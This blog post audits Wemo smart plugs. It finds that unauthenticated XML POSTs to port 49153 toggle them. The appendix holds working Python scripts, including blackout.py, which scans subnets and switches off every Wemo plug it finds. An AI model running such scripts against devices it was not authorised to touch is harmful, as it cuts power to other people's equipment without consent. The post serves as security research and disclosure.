Wemo Smart Plug Security Audit

By Evan Craska

With the advancement of modern technology, the world is getting much “smarter.” The Internet of Things has been born, and we’ve gotten to the point where the outlets in our homes have more computing capabilities than a Nokia from the 90’s. I’m talking, of course, about smart outlets. My initial thoughts on the matter were something along the lines of: “Why would I need my house’s plugs to be smart?” As it turns out, there’s plenty of reasons, the most obvious of which being laziness. There are, however, actual benefits aside from less time spent walking and flicking switches. For example, you can have a smart outlet control your room’s lights, and you can set an auto-off timer on the outlet so that the lights will turn off if you ended up forgetting to turn them off before you left the house, lowering your energy bill. Or you can plug your space heater into one and set the outlet to turn off after, say, thirty minutes, reducing the risk of a house fire if you, again, forget to turn the heater off. You’re also able to set plugs to turn on or off at a scheduled time each day, that way your Minecraft server is already up-and-running by the time you get home from work. But as much of a reason as this is to use a smart outlet, would there be a reason not to?

            Wemo Smart Plugs, made by Belkin, are pretty simple to use. Just plug it in, download the Wemo app on your smart phone, go through a brief setup, and you’re ready to start turning things on and off without ever getting up from your couch. You can even control the plugs from an external network. But how secure are these controls? Is there any type of device authentication in place, or can any device control any outlet? Well, let’s find out.

Figure 1 – Plug Information

            The Wemo app allows you to view all of the relevant information for each plug the app has previously discovered. Here, we can see the internal IP address of my plug is 192.168.1.105. Starting with some simple enumeration, let’s find out what ports are open on the plug.

Figure 2 – Nmap Scan of Plug

Here we can see the plug is listening on ports 49153, 49155, and 49156 for upnp (Universal Plug And Play) traffic. There also seem to be shell capabilities over port 514. Ports 49155 and 49156 mention SDK (or Source Development Kit) in their version info, while port 49153 mentions “Belkin Wemo upnpd”. As such, it’s safe to assume the SDK ports are used for development/firmware updates, while 49153 is going to be the port used in controlling the device. But what does this traffic look like?

I installed Burp on my desktop and setup a proxy to send my phone through, hoping to be able to catch its network traffic on my desktop so I could see what was happening when I switched the outlet on and off. Sadly, this didn’t work out as planned. I couldn’t see any relevant traffic being generated when I flicked the plug on and off. I turned on Burp’s intercepter to see if it ever caught any http packets, but nothing ended up coming through. The only time I ever saw any traffic relating to the plug was when I searched for firmware updates for the plug through the app. But why couldn’t I see the traffic generated when I controlled the plug? I knew it had to communicate over the network, as it’s possible to control the plug from an external network, such as over my cellular network. I figured there had to be some traffic that wasn’t going through my web proxy on my desktop that I wasn’t able to see, most likely because Burp’s web proxy only captures traffic over port 80 and port 443, the ports used for HTTP (Hyper Text Transfer Protocol) and HTTPS (Hyper Text Transfer Protocol Secure) respectively. The simplest solution to this problem was to make all traffic originate from my desktop, as then I’d be able to see everything in Wireshark.

I spun up a Google Pixel VM (Virtual Machine) on my desktop and set its networking settings to bridged mode so it would use my desktop’s NIC (Network Interface Controller) for networking, as well as share its internal IP address (192.168.1.100). Now there would be no possibility of traffic being created that my desktop couldn’t see. I started the app on the VM and turned the plug on, and voila:

Figure 3 – Wireshark Capture of an HTTP POST Which Turned the Plug On

Figure 4 – HTTP POST Content

            I now knew that HTTP POSTs of simple XML (eXtensible Markup Language) are used to turn the outlet on and off, with seemingly no authentication. This capture also confirmed that the outlet uses port 49153 to receive commands. To verify this, I wrote a simple python script which would attempt to turn the outlet off:

Figure 5 – off.py – A Script to Turn the Outlet Off

            Assuming the on/off state to be a true/false field, I copied the content of the POST I saw in Wireshark but changed the <BinaryState> tag’s value to 0 (because, well, “binary”). I then copied down the headers and added the XML to them as the content and ran the script. And the outlet turned off. This means there’s no authentication, and any device capable of sending an HTTP POST is able to control the outlet’s on-state. Since I have two other outlets of the same type, I was curious if they worked the exact same way (over the same ports, etc.), so I ran the script again, this time targeting 192.168.1.104 and 192.168.1.106, and ended up interrupting my brother’s viewing of the new Game Of Thrones episode (whoops). But this was an important finding, as it means any of these outlets can just be switched on or off, as long as an attacker has network access to that device. This brings me back to my original question of if there would ever be a reason to not use a smart outlet. Enter: blackout.py

      blackout.py is a script I developed which takes in any number of IP addresses (e.g. 192.168.1.1) or network IP addresses (e.g. 192.168.0.0/16) and turns off any Wemo plug (assumedly of only this model) found at the given address or on the given network. It then reports back with the IP address of any plug that was turned off. This script was only developed to work locally, however, it may be extendable to external control, as the app is able to control devices externally through the “Wemo Cloud.” During my experimentation with Burp, however, the firmware update request I discovered did have some authentication fields inside, so that may be an obstacle that requires overcoming. There’s also the possibility of editing the rules of devices, however, this is handled via communication to the Wemo server, and is secured with TLS (Transport Layer Security). With further investigation, I’d like to try out controlling a device through the Wemo Cloud without the use of the app, and I’d also like to see if I can pop a shell on one of the outlets.

So the answer to if there’s ever a time to not use a smart outlet? Yes, there is. If you own anything sensitive that you don’t want controlled by some random guy, you’re better off not using one to control it. If you need scheduling for the sensitive device plugged in, analog options exist. However, plugging in LED lights or devices with their own in-line power control are fine to plug in to smart outlets, it’s just important to be aware who has access to your internal network (but that shouldn’t be new information).

Appendix:

Blackout.py

############################################
# file : blackout.py                       #
# author: Evan Craska <erc9510@rit.edu&gt;    #
# date : 22 April 2019                     #
# desc : Turns off wemo outlets found at   #
#        given address or on given network #
############################################
import sys
import ipaddress
import struct
import socket


def discover(network):
    """
    Discovers devices on the given network that are listening on the port wemo devices use to communicate.

    Parameters:
    network (string): network to scan devices on (e.g. 192.168.1.0/24)

    Returns:
    List: list of ip addresses assumed to be wemo devices
    """
    devices = []
    addresses = ipaddress.ip_network(unicode(network))
    for address in addresses.hosts():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(1)
        port = 49153
        result = s.connect_ex((str(address), port))
        if result == 0:
            devices.append(str(address))
        s.close()
    return devices


def check_state(ip):
	"""
	Checks the current state of an outlet at the given address.

	Parameters:
	ip (string): ip of assumed wemo device

	Returns:
	int: value of device's binary state (0 for off, 1 for on)
	"""
	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	port = 49153
	xml = (
		'<?xml version="1.0" encoding="utf-8"?&gt;'
		'<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"&gt;'
		'<s:Body&gt;'
		'<u:GetBinaryState xmlns:u="urn:Belkin:service:basicevent:1"&gt;'
		'<BinaryState&gt;1</BinaryState&gt;'
		'</u:GetBinaryState&gt;'
		'</s:Body&gt;'
		'</s:Envelope&gt;')
	headers = (
		'POST /upnp/control/basicevent1 HTTP/1.0\r\n'
		'Content-Type: text/xml; charset="utf-8"\r\n'
		'HOST: ' + ip + '\r\n'
		'Content-Length: ' + str(len(xml)) + '\r\n'
		'SOAPACTION: "urn:Belkin:service:basicevent:1#GetBinaryState"\r\n'
		'Connection: close\r\n\r\n')
	headers += xml
	s.connect((ip, port))
	s.sendall(headers.encode())
	response = s.recv(8192) # receive the headers
	response = s.recv(8912) # receive the content
	s.close()
	response = response.decode()
	index = response.find("<BinaryState&gt;") + len("<BinaryState&gt;")
	state = response[index]
	return int(state)


def switch_off(ip):
    """
    Attempts to switch off a wemo device at a given ip address.

    Parameters:
    ip (string): ip of assumed wemo device

    Returns:
    bool: true if wemo device was turned off, false otherwise
    """
    state = check_state(ip)
    if state == 0:
    	return False
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    port = 49153
    xml = (
            '<?xml version="1.0" encoding="utf-8"?&gt;'
            '<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"&gt;'
            '<s:Body&gt;'
            '<u:SetBinaryState xmlns:u="urn:Belkin:service:basicevent1"&gt;'
            '<BinaryState&gt;0</BinaryState&gt;'
            '<Duration&gt;</Duration&gt;'
            '<EndAction&gt;</EndAction&gt;'
            '<UDN&gt;</UDN&gt;'
            '</u:SetBinaryState&gt;'
            '</s:Body&gt;'
            '</s:Envelope&gt;')
    headers = (
            'POST /upnp/control/basicevent1 HTTP/1.0\r\n'
            'Content-Type: text/xml; charset="utf-8"\r\n'
            'HOST: ' + ip + '\r\n'
            'Content-Length: ' + str(len(xml)) + '\r\n'
            'SOAPACTION: "urn:Belkin:service:basicevent:1#SetBinaryState\r\n"'
            'Connection: close\r\n\r\n')
    headers += xml
    s.connect((ip, port))
    s.sendall(headers.encode())
    response = s.recv(10240)
    s.close()
    if "200 OK" in response.decode():
    	return True 
    else:
    	return False


def print_usage():
	"""
	Prints usage information for the script.
	"""
	print("Usage:\npython blackout.py target1 [target2] [target3] [target...]")
	print("target: ip address of wemo device to turn off or network to target")
	print("\nExample usage:\npython blackout.py 192.168.1.0/24 192.168.2.105")
	print("\t- Will target the 192.168.1.0 network and the device at 192.168.2.105")
	sys.exit(0)


def main():
	check_state(sys.argv[1])
	if len(sys.argv) <= 1:
		print_usage()
	if "-h" in sys.argv or "--help" in sys.argv:
		print_usage()
	turned_off = []
	index = 1
	while index < len(sys.argv):
		if "/" in sys.argv[index]:
			devices = discover(sys.argv[index])
			for device in devices:
				if(switch_off(device)):
					turned_off.append(device)
		else:
			if(switch_off(sys.argv[index])):
				turned_off.append(sys.argv[index])
		index += 1
	if len(turned_off) == 0:
		print("No devices turned off.")
		sys.exit(0)
	else:
		print("Devices turned off:")
		for device in turned_off:
			print(device)
		sys.exit(0)


if __name__ == "__main__":
    main()

off.py

############################################
# file : off.py                            #
# author: Evan Craska <erc9510@rit.edu&gt;    #
# date : 22 April 2019                     #
# desc : Turns off wemo outlet found at    #
#        192.168.1.105                     #
############################################
import socket


def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ip = "192.168.1.105"
    port = 49153
    content = (
            '<?xml version="1.0" encoding="utf-8"?&gt;'
            '<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"&gt;'
            '<s:Body&gt;'
            '<u:SetBinaryState xmlns:u="urn:Belkin:service:basicevent1"&gt;'
            '<BinaryState&gt;0</BinaryState&gt;'
            '<Duration&gt;</Duration&gt;'
            '<EndAction&gt;</EndAction&gt;'
            '<UDN&gt;</UDN&gt;'
            '</u:SetBinaryState&gt;'
            '</s:Body&gt;'
            '</s:Envelope&gt;')
    headers = (
            'POST /upnp/control/basicevent1 HTTP/1.0\r\n'
            'Content-Type: text/xml; charset="utf-8"\r\n'
            'HOST: 192.168.1.105\r\n'
            'Content-Length: ' + str(len(content)) + '\r\n'
            'SOAPACTION: "urn:Belkin:service:basicevent:1#SetBinaryState\r\n"'
            'Connection: close\r\n\r\n')
    headers = headers + content
    s.connect((ip, port))
    s.sendall(headers.encode())
    response = s.recv(1024)
    s.close()
    print(response.decode())


if __name__ == "__main__":
    main()

on.py

############################################
# file : on.py                             #
# author: Evan Craska <erc9510@rit.edu&gt;    #
# date : 22 April 2019                     #
# desc : Turns on wemo outlet found at     #
#        192.168.1.105                     #
############################################
import socket


def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    ip = "192.168.1.105"
    port = 49153
    content = (
            '<?xml version="1.0" encoding="utf-8"?&gt;'
            '<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"&gt;'
            '<s:Body&gt;'
            '<u:SetBinaryState xmlns:u="urn:Belkin:service:basicevent1"&gt;'
            '<BinaryState&gt;1</BinaryState&gt;'
            '<Duration&gt;</Duration&gt;'
            '<EndAction&gt;</EndAction&gt;'
            '<UDN&gt;</UDN&gt;'
            '</u:SetBinaryState&gt;'
            '</s:Body&gt;'
            '</s:Envelope&gt;')
    headers = (
            'POST /upnp/control/basicevent1 HTTP/1.0\r\n'
            'Content-Type: text/xml; charset="utf-8"\r\n'
            'HOST: 192.168.1.105\r\n'
            'Content-Length: ' + str(len(content)) + '\r\n'
            'SOAPACTION: "urn:Belkin:service:basicevent:1#SetBinaryState\r\n"'
            'Connection: close\r\n\r\n')
    headers = headers + content
    s.connect((ip, port))
    s.sendall(headers.encode())
    response = s.recv(1024)
    s.close()
    print(response.decode())


if __name__ == "__main__":
    main()

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google photo

You are commenting using your Google account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s